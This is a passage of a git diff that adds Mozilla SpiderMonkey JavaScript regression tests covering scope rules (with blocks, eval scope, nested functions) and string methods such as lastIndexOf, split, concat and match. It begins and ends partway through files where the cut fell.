+addThis();
+
+status = inSection(4);
+outSideFunc(); // sets |actual|
+expect = 'ccc';
+addThis();
+
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ enterFunc('test');
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Scope/regress-208496-001.js b/js/src/tests/js1_5/Scope/regress-208496-001.js
new file mode 100644
index 000000000..f25693f30
--- /dev/null
+++ b/js/src/tests/js1_5/Scope/regress-208496-001.js
@@ -0,0 +1,140 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 05 June 2003
+ * SUMMARY: Testing |with (f)| inside the definition of |function f()|
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=208496
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 208496;
+var summary = 'Testing |with (f)| inside the definition of |function f()|';
+var status = '';
+var statusitems = [];
+var actual = '(TEST FAILURE)';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+/*
+ * GLOBAL SCOPE
+ */
+function f(par)
+{
+ var a = par;
+
+ with(f)
+ {
+ var b = par;
+ actual = b;
+ }
+}
+
+status = inSection(1);
+f('abc'); // this sets |actual|
+expect = 'abc';
+addThis();
+
+status = inSection(2);
+f(111 + 222); // sets |actual|
+expect = 333;
+addThis();
+
+
+/*
+ * EVAL SCOPE
+ */
+var s = '';
+s += 'function F(par)';
+s += '{';
+s += ' var a = par;';
+
+s += ' with(F)';
+s += ' {';
+s += ' var b = par;';
+s += ' actual = b;';
+s += ' }';
+s += '}';
+
+s += 'status = inSection(3);';
+s += 'F("abc");'; // sets |actual|
+s += 'expect = "abc";';
+s += 'addThis();';
+
+s += 'status = inSection(4);';
+s += 'F(111 + 222);'; // sets |actual|
+s += 'expect = 333;';
+s += 'addThis();';
+eval(s);
+
+
+/*
+ * FUNCTION SCOPE
+ */
+function g(par)
+{
+ // Add outer variables to complicate the scope chain -
+ var a = '(TEST FAILURE)';
+ var b = '(TEST FAILURE)';
+ h(par);
+
+ function h(par)
+ {
+ var a = par;
+
+ with(h)
+ {
+ var b = par;
+ actual = b;
+ }
+ }
+}
+
+status = inSection(5);
+g('abc'); // sets |actual|
+expect = 'abc';
+addThis();
+
+status = inSection(6);
+g(111 + 222); // sets |actual|
+expect = 333;
+addThis();
+
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ enterFunc('test');
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Scope/regress-208496-002.js b/js/src/tests/js1_5/Scope/regress-208496-002.js
new file mode 100644
index 000000000..8de1ecbf5
--- /dev/null
+++ b/js/src/tests/js1_5/Scope/regress-208496-002.js
@@ -0,0 +1,132 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 05 June 2003
+ * SUMMARY: Testing |with (f)| inside the definition of |function f()|
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=208496
+ *
+ * In this test, we check that static function properties of
+ * of |f| are read correctly from within the |with(f)| block.
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 208496;
+var summary = 'Testing |with (f)| inside the definition of |function f()|';
+var STATIC_VALUE = 'read the static property';
+var status = '';
+var statusitems = [];
+var actual = '(TEST FAILURE)';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+function f(par)
+{
+ with(f)
+ {
+ actual = par;
+ }
+
+ return par;
+}
+f.par = STATIC_VALUE;
+
+
+status = inSection(1);
+f('abc'); // this sets |actual| inside |f|
+expect = STATIC_VALUE;
+addThis();
+
+// test the return: should be the dynamic value
+status = inSection(2);
+actual = f('abc');
+expect = 'abc';
+addThis();
+
+status = inSection(3);
+f(111 + 222); // sets |actual| inside |f|
+expect = STATIC_VALUE;
+addThis();
+
+// test the return: should be the dynamic value
+status = inSection(4);
+actual = f(111 + 222);
+expect = 333;
+addThis();
+
+
+/*
+ * Add a level of indirection via |x|
+ */
+function g(par)
+{
+ with(g)
+ {
+ var x = par;
+ actual = x;
+ }
+
+ return par;
+}
+g.par = STATIC_VALUE;
+
+
+status = inSection(5);
+g('abc'); // this sets |actual| inside |g|
+expect = STATIC_VALUE;
+addThis();
+
+// test the return: should be the dynamic value
+status = inSection(6);
+actual = g('abc');
+expect = 'abc';
+addThis();
+
+status = inSection(7);
+g(111 + 222); // sets |actual| inside |g|
+expect = STATIC_VALUE;
+addThis();
+
+// test the return: should be the dynamic value
+status = inSection(8);
+actual = g(111 + 222);
+expect = 333;
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ enterFunc('test');
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Scope/regress-220362.js b/js/src/tests/js1_5/Scope/regress-220362.js
new file mode 100644
index 000000000..5977098a5
--- /dev/null
+++ b/js/src/tests/js1_5/Scope/regress-220362.js
@@ -0,0 +1,82 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 27 Sep 2003
+ * SUMMARY: Calling a local function from global scope
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=220362
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 220362;
+var summary = 'Calling a local function from global scope';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+// creates a local function and calls it immediately
+function a()
+{
+ var x = 'A';
+ var f = function() {return x;};
+ return f();
+}
+
+// creates and returns a local function
+function b()
+{
+ var x = 'B';
+ var f = function() {return x;};
+ return f;
+}
+
+
+status = inSection(1);
+actual = a();
+expect = 'A';
+addThis();
+
+status = inSection(2);
+var f = b();
+actual = f();
+expect = 'B';
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ enterFunc('test');
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Scope/regress-446026-01.js b/js/src/tests/js1_5/Scope/regress-446026-01.js
new file mode 100644
index 000000000..fa108b444
--- /dev/null
+++ b/js/src/tests/js1_5/Scope/regress-446026-01.js
@@ -0,0 +1,51 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 446026;
+var summary = 'brian loves eval(s, o)';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var b = 45;
+
+// Getting "private" variables
+ var obj = (function() {
+ var a = 21;
+ return {
+ // public function must reference 'a'
+ fn: function() {a;}
+ };
+ })();
+
+expect = 'ReferenceError: a is not defined | undefined | 45';
+actual = '';
+
+var foo;
+
+try {
+ eval('bar = b; foo=a', obj.fn);
+} catch (e) {
+ actual = e;
+}
+print(actual += " | " + foo + " | " + bar); // 21
+reportCompare(expect, actual, summary);
+
+expect = 'No Error';
+actual = 'No Error';
+
+try
+{
+ eval("", {print:1});
+ print(1);
+}
+catch(ex)
+{
+ actual = ex + '';
+}
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/Scope/regress-446026-02.js b/js/src/tests/js1_5/Scope/regress-446026-02.js
new file mode 100644
index 000000000..1a15b25e0
--- /dev/null
+++ b/js/src/tests/js1_5/Scope/regress-446026-02.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 446026;
+var summary = 'brian loves eval(s, o)';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+expect = 'locallocal';
+
+var x = "global";
+(function() {
+ var x = "local";
+ (function() {
+ actual = x;
+ eval("", {});
+ actual += x;
+ })();
+})();
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/Scope/regress-77578-001.js b/js/src/tests/js1_5/Scope/regress-77578-001.js
new file mode 100644
index 000000000..cafa54cce
--- /dev/null
+++ b/js/src/tests/js1_5/Scope/regress-77578-001.js
@@ -0,0 +1,150 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 2001-07-11
+ *
+ * SUMMARY: Testing eval scope inside a function.
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=77578
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 77578;
+var summary = 'Testing eval scope inside a function';
+var cnEquals = '=';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+// various versions of JavaScript -
+var JS_VER = [100, 110, 120, 130, 140, 150];
+
+// Note contrast with local variables i,j,k defined below -
+var i = 999;
+var j = 999;
+var k = 999;
+
+
+//--------------------------------------------------
+test();
+//--------------------------------------------------
+
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ // Run tests A,B,C on each version of JS and store results
+ for (var n=0; n!=JS_VER.length; n++)
+ {
+ testA(JS_VER[n]);
+ }
+ for (var n=0; n!=JS_VER.length; n++)
+ {
+ testB(JS_VER[n]);
+ }
+ for (var n=0; n!=JS_VER.length; n++)
+ {
+ testC(JS_VER[n]);
+ }
+
+
+ // Compare actual values to expected values -
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+
+ exitFunc ('test');
+}
+
+
+function testA(ver)
+{
+ // Set the version of JS to test -
+ if (typeof version == 'function')
+ {
+ version(ver);
+ }
+
+ // eval the test, so it compiles AFTER version() has executed -
+ var sTestScript = "";
+
+ // Define a local variable i
+ sTestScript += "status = 'Section A of test; JS ' + ver/100;";
+ sTestScript += "var i=1;";
+ sTestScript += "actual = eval('i');";
+ sTestScript += "expect = 1;";
+ sTestScript += "captureThis('i');";
+
+ eval(sTestScript);
+}
+
+
+function testB(ver)
+{
+ // Set the version of JS to test -
+ if (typeof version == 'function')
+ {
+ version(ver);
+ }
+
+ // eval the test, so it compiles AFTER version() has executed -
+ var sTestScript = "";
+
+ // Define a local for-loop iterator j
+ sTestScript += "status = 'Section B of test; JS ' + ver/100;";
+ sTestScript += "for(var j=1; j<2; j++)";
+ sTestScript += "{";
+ sTestScript += " actual = eval('j');";
+ sTestScript += "};";
+ sTestScript += "expect = 1;";
+ sTestScript += "captureThis('j');";
+
+ eval(sTestScript);
+}
+
+
+function testC(ver)
+{
+ // Set the version of JS to test -
+ if (typeof version == 'function')
+ {
+ version(ver);
+ }
+
+ // eval the test, so it compiles AFTER version() has executed -
+ var sTestScript = "";
+
+ // Define a local variable k in a try-catch block -
+ sTestScript += "status = 'Section C of test; JS ' + ver/100;";
+ sTestScript += "try";
+ sTestScript += "{";
+ sTestScript += " var k=1;";
+ sTestScript += " actual = eval('k');";
+ sTestScript += "}";
+ sTestScript += "catch(e)";
+ sTestScript += "{";
+ sTestScript += "};";
+ sTestScript += "expect = 1;";
+ sTestScript += "captureThis('k');";
+
+ eval(sTestScript);
+}
+
+
+function captureThis(varName)
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = varName + cnEquals + actual;
+ expectedvalues[UBound] = varName + cnEquals + expect;
+ UBound++;
+}
diff --git a/js/src/tests/js1_5/Scope/scope-002.js b/js/src/tests/js1_5/Scope/scope-002.js
new file mode 100644
index 000000000..ebe39e68f
--- /dev/null
+++ b/js/src/tests/js1_5/Scope/scope-002.js
@@ -0,0 +1,108 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 2001-07-02
+ *
+ * SUMMARY: Testing visibility of outer function from inner function.
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = '(none)';
+var summary = 'Testing visibility of outer function from inner function';
+var cnCousin = 'Fred';
+var cnColor = 'red';
+var cnMake = 'Toyota';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+// TEST 1
+function Outer()
+{
+
+ function inner()
+ {
+ Outer.cousin = cnCousin;
+ return Outer.cousin;
+ }
+
+ status = 'Section 1 of test';
+ actual = inner();
+ expect = cnCousin;
+ addThis();
+}
+
+
+Outer();
+status = 'Section 2 of test';
+actual = Outer.cousin;
+expect = cnCousin;
+addThis();
+
+
+
+// TEST 2
+function Car(make)
+{
+ this.make = make;
+ Car.prototype.paint = paint;
+
+ function paint()
+ {
+ Car.color = cnColor;
+ Car.prototype.color = Car.color;
+ }
+}
+
+
+var myCar = new Car(cnMake);
+status = 'Section 3 of test';
+actual = myCar.make;
+expect = cnMake;
+addThis();
+
+
+myCar.paint();
+status = 'Section 4 of test';
+actual = myCar.color;
+expect = cnColor;
+addThis();
+
+
+
+//--------------------------------------------------
+test();
+//--------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Scope/scope-003.js b/js/src/tests/js1_5/Scope/scope-003.js
new file mode 100644
index 000000000..e2d4f77f5
--- /dev/null
+++ b/js/src/tests/js1_5/Scope/scope-003.js
@@ -0,0 +1,109 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 2001-07-03
+ *
+ * SUMMARY: Testing scope with nested functions
+ *
+ * From correspondence with Christopher Oliver <coliver@mminternet.com>:
+ *
+ * > Running this test with Rhino produces the following exception:
+ * >
+ * > uncaught JavaScript exception: undefined: Cannot find default value for
+ * > object. (line 3)
+ * >
+ * > This is due to a bug in org.mozilla.javascript.NativeCall which doesn't
+ * > implement toString or valueOf or override getDefaultValue.
+ * > However, even after I hacked in an implementation of getDefaultValue in
+ * > NativeCall, Rhino still produces a different result then SpiderMonkey:
+ * >
+ * > [object Call]
+ * > [object Object]
+ * > [object Call]
+ *
+ * Note the results should be:
+ *
+ * [object global]
+ * [object Object]
+ * [object global]
+ *
+ * This is what we are checking for in this testcase -
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = '(none)';
+var summary = 'Testing scope with nested functions';
+var statprefix = 'Section ';
+var statsuffix = ' of test -';
+var self = this; // capture a reference to the global object;
+var cnGlobal = self.toString();
+var cnObject = (new Object).toString();
+var statusitems = [];
+var actualvalues = [];
+var expectedvalues = [];
+
+
+function a()
+{
+ function b()
+ {
+ capture(this.toString());
+ }
+
+ this.c = function()
+ {
+ capture(this.toString());
+ b();
+ }
+
+ b();
+}
+
+
+var obj = new a(); // captures actualvalues[0]
+obj.c(); // captures actualvalues[1], actualvalues[2]
+
+
+// The values we expect - see introduction above -
+expectedvalues[0] = cnGlobal;
+expectedvalues[1] = cnObject;
+expectedvalues[2] = cnGlobal;
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function capture(val)
+{
+ actualvalues[UBound] = val;
+ statusitems[UBound] = getStatus(UBound);
+ UBound++;
+}
+
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+
+ exitFunc ('test');
+}
+
+
+function getStatus(i)
+{
+ return statprefix + i + statsuffix;
+}
diff --git a/js/src/tests/js1_5/Scope/scope-004.js b/js/src/tests/js1_5/Scope/scope-004.js
new file mode 100644
index 000000000..06b94a9c4
--- /dev/null
+++ b/js/src/tests/js1_5/Scope/scope-004.js
@@ -0,0 +1,191 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 2001-07-16
+ *
+ * SUMMARY: Testing visiblity of variables from within a with block.
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=90325
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 90325;
+var summary = 'Testing visiblity of variables from within a with block';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+// (compare local definitions which follow) -
+var A = 'global A';
+var B = 'global B';
+var C = 'global C';
+var D = 'global D';
+
+// an object with 'C' and 'D' properties -
+var objTEST = new Object();
+objTEST.C = C;
+objTEST.D = D;
+
+
+status = 'Section 1 of test';
+with (new Object())
+{
+ actual = A;
+ expect = 'global A';
+}
+addThis();
+
+
+status = 'Section 2 of test';
+with (Function)
+{
+ actual = B;
+ expect = 'global B';
+}
+addThis();
+
+
+status = 'Section 3 of test';
+with (this)
+{
+ actual = C;
+ expect = 'global C';
+}
+addThis();
+
+
+status = 'Section 4 of test';
+localA();
+addThis();
+
+status = 'Section 5 of test';
+localB();
+addThis();
+
+status = 'Section 6 of test';
+localC();
+addThis();
+
+status = 'Section 7 of test';
+localC(new Object());
+addThis();
+
+status = 'Section 8 of test';
+localC.apply(new Object());
+addThis();
+
+status = 'Section 9 of test';
+localC.apply(new Object(), [objTEST]);
+addThis();
+
+status = 'Section 10 of test';
+localC.apply(objTEST, [objTEST]);
+addThis();
+
+status = 'Section 11 of test';
+localD(new Object());
+addThis();
+
+status = 'Section 12 of test';
+localD.apply(new Object(), [objTEST]);
+addThis();
+
+status = 'Section 13 of test';
+localD.apply(objTEST, [objTEST]);
+addThis();
+
+
+
+//-------------------------------------------------------------------------------------------------
+test();
+//-------------------------------------------------------------------------------------------------
+
+
+
+// contains a with(new Object()) block -
+function localA()
+{
+ var A = 'local A';
+
+ with(new Object())
+ {
+ actual = A;
+ expect = 'local A';
+ }
+}
+
+
+// contains a with(Number) block -
+function localB()
+{
+ var B = 'local B';
+
+ with(Number)
+ {
+ actual = B;
+ expect = 'local B';
+ }
+}
+
+
+// contains a with(this) block -
+function localC(obj)
+{
+ var C = 'local C';
+
+ with(this)
+ {
+ actual = C;
+ }
+
+ if ('C' in this)
+ expect = this.C;
+ else
+ expect = 'local C';
+}
+
+
+// contains a with(obj) block -
+function localD(obj)
+{
+ var D = 'local D';
+
+ with(obj)
+ {
+ actual = D;
+ }
+
+ if ('D' in obj)
+ expect = obj.D;
+ else
+ expect = 'local D';
+}
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var i = 0; i < UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Scope/shell.js b/js/src/tests/js1_5/Scope/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/js1_5/Scope/shell.js
diff --git a/js/src/tests/js1_5/String/browser.js b/js/src/tests/js1_5/String/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/js1_5/String/browser.js
diff --git a/js/src/tests/js1_5/String/regress-107771.js b/js/src/tests/js1_5/String/regress-107771.js
new file mode 100644
index 000000000..b335abb03
--- /dev/null
+++ b/js/src/tests/js1_5/String/regress-107771.js
@@ -0,0 +1,91 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 31 October 2001
+ *
+ * SUMMARY: Regression test for bug 107771
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=107771
+ *
+ * The bug: Section 1 passed, but Sections 2-5 all failed with |actual| == 12
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 107771;
+var summary = "Regression test for bug 107771";
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+var str = '';
+var k = -9999;
+
+
+status = inSection(1);
+str = "AAA//BBB/CCC/";
+k = str.lastIndexOf('/');
+actual = k;
+expect = 12;
+
+status = inSection(2);
+str = str.substring(0, k);
+k = str.lastIndexOf('/');
+actual = k;
+expect = 8;
+addThis();
+
+status = inSection(3);
+str = str.substring(0, k);
+k = str.lastIndexOf('/');
+actual = k;
+expect = 4;
+addThis();
+
+status = inSection(4);
+str = str.substring(0, k);
+k = str.lastIndexOf('/');
+actual = k;
+expect = 3;
+addThis();
+
+status = inSection(5);
+str = str.substring(0, k);
+k = str.lastIndexOf('/');
+actual = k;
+expect = -1;
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/String/regress-112626.js b/js/src/tests/js1_5/String/regress-112626.js
new file mode 100644
index 000000000..74df1c956
--- /dev/null
+++ b/js/src/tests/js1_5/String/regress-112626.js
@@ -0,0 +1,18 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 112626;
+var summary = 'Do not crash String.split(regexp) when regexp contains parens';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var _cs='2001-01-01';
+var curTime = _cs.split(/([- :])/);
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/String/regress-179068.js b/js/src/tests/js1_5/String/regress-179068.js
new file mode 100644
index 000000000..35b9d3a32
--- /dev/null
+++ b/js/src/tests/js1_5/String/regress-179068.js
@@ -0,0 +1,125 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 09 November 2002
+ * SUMMARY: Test that interpreter can handle string literals exceeding 64K
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=179068
+ *
+ * Test that the interpreter can handle string literals exceeding 64K limit.
+ * For that the script passes to eval() "str ='LONG_STRING_LITERAL';" where
+ * LONG_STRING_LITERAL is a string with 200K chars.
+ *
+ * Igor Bukanov explains the technique used below:
+ *
+ * > Philip Schwartau wrote:
+ * >...
+ * > Here is the heart of the testcase:
+ * >
+ * > // Generate 200K long string
+ * > var long_str = duplicate(LONG_STR_SEED, N);
+ * > var str = "";
+ * > eval("str='".concat(long_str, "';"));
+ * > var test_is_ok = (str.length == LONG_STR_SEED.length * N);
+ * >
+ * >
+ * > The testcase creates two identical strings, |long_str| and |str|. It
+ * > uses eval() simply to assign the value of |long_str| to |str|. Why is
+ * > it necessary to have the variable |str|, then? Why not just create
+ * > |long_str| and test it? Wouldn't this be enough:
+ * >
+ * > // Generate 200K long string
+ * > var long_str = duplicate(LONG_STR_SEED, N);
+ * > var test_is_ok = (long_str.length == LONG_STR_SEED.length * N);
+ * >
+ * > Or do we specifically need to test eval() to exercise the interpreter?
+ *
+ * The reason for eval is to test string literals like in 'a string literal
+ * with 100 000 characters...', Rhino deals fine with strings generated at
+ * run time where lengths > 64K. Without eval it would be necessary to have
+ * a test file excedding 64K which is not that polite for CVS and then a
+ * special treatment for the compiled mode in Rhino should be added.
+ *
+ *
+ * >
+ * > If so, is it important to use the concat() method in the assignment, as
+ * > you have done: |eval("str='".concat(long_str, "';"))|, or can we simply
+ * > do |eval("str = long_str;")| ?
+ *
+ * The concat is a replacement for eval("str='"+long_str+"';"), but as
+ * long_str is huge, this leads to constructing first a new string via
+ * "str='"+long_str and then another one via ("str='"+long_str) + "';"
+ * which takes time under JDK 1.1 on a something like StrongArm 200MHz.
+ * Calling concat makes less copies, that is why it is used in the
+ * duplicate function and this is faster then doing recursion like in the
+ * test case to test that 64K different string literals can be handled.
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 179068;
+var summary = 'Test that interpreter can handle string literals exceeding 64K';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+var LONG_STR_SEED = "0123456789";
+var N = 20 * 1024;
+var str = "";
+
+
+// Generate 200K long string and assign it to |str| via eval()
+var long_str = duplicate(LONG_STR_SEED, N);
+eval("str='".concat(long_str, "';"));
+
+status = inSection(1);
+actual = str.length == LONG_STR_SEED.length * N
+ expect = true;
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function duplicate(str, count)
+{
+ var tmp = new Array(count);
+
+ while (count != 0)
+ tmp[--count] = str;
+
+ return String.prototype.concat.apply("", tmp);
+}
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ enterFunc('test');
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/String/replace-flags.js b/js/src/tests/js1_5/String/replace-flags.js
new file mode 100644
index 000000000..34b9475a3
--- /dev/null
+++ b/js/src/tests/js1_5/String/replace-flags.js
@@ -0,0 +1,25 @@
+var BUGNUMBER = 1108382;
+var summary = 'Remove non-standard flag argument from String.prototype.{search,match,replace}.';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var result = "bbbAa".match("a", "i");
+assertEq(result.index, 4);
+assertEq(result.length, 1);
+assertEq(result[0], "a");
+
+result = "bbbA".match("a", "i");
+assertEq(result, null);
+
+result = "bbbAa".search("a", "i");
+assertEq(result, 4);
